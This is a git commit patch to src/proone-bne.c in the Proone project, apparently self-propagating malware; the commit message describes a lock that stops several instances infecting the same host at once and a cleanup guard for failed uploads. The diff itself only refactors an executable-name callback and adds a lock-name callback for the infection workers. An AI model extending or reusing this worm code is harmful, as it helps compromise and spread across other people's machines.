From 73799fe772152089a6c57aa339f08426cf3eaf11 Mon Sep 17 00:00:00 2001 From: David Timber Date: Fri, 13 Aug 2021 18:22:35 +1000 Subject: Impl bne ... * Add upload lock mechanism to prevent multiple instances trying to infect the same host simultaneously * Add "upload guard". The upload guard cleans up the lock file and the upload directory in the event of upload failure * Fix bug in bne_vssh_flush_f() * prne_strzero() accepts NULL * Fix Proone: missing prne_dvault_reset() calls --- src/proone-bne.c | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) (limited to 'src/proone-bne.c') diff --git a/src/proone-bne.c b/src/proone-bne.c index ccecccd..89a5d7f 100644 --- a/src/proone-bne.c +++ b/src/proone-bne.c @@ -364,14 +364,7 @@ static void report_result (const prne_bne_result_t *r) { } static char *cb_exec_name (void *ctx) { - static const char *EXEC_NAME = "proone"; - const size_t len = strlen(EXEC_NAME); - char *ret = prne_alloc_str(len); - - prne_assert(ret != NULL); - memcpy(ret, EXEC_NAME, len + 1); - - return ret; + return prne_dup_str("proone"); } static uint64_t cb_uptime (void *ctx) { @@ -453,6 +446,10 @@ static bool cb_upbin (void *ctx, const char *path, const prne_htbt_cmd_t *cmd) { return true; } +static char *cb_bne_lock_name (void *ctx) { + return prne_dup_str("bne_lock"); +} + static void do_run_upbin (void) { for (size_t i = 0; i < prog_g.upbin.args_size; i += 1) { if (prog_g.upbin.args[i] == 0) { @@ -554,6 +551,7 @@ int main (int argc, char **args) { prog_g.bne_param.cb.vercmp = cb_vercmp; prog_g.bne_param.cb.tmpfile = cb_tmpfile; prog_g.bne_param.cb.upbin = cb_upbin; + prog_g.bne_param.cb.bne_lock_name = cb_bne_lock_name; for (size_t i = 0; i < prog_conf.targets.cnt; i += 1) { prne_worker_t *w = prne_malloc(sizeof(prne_worker_t), 1); -- cgit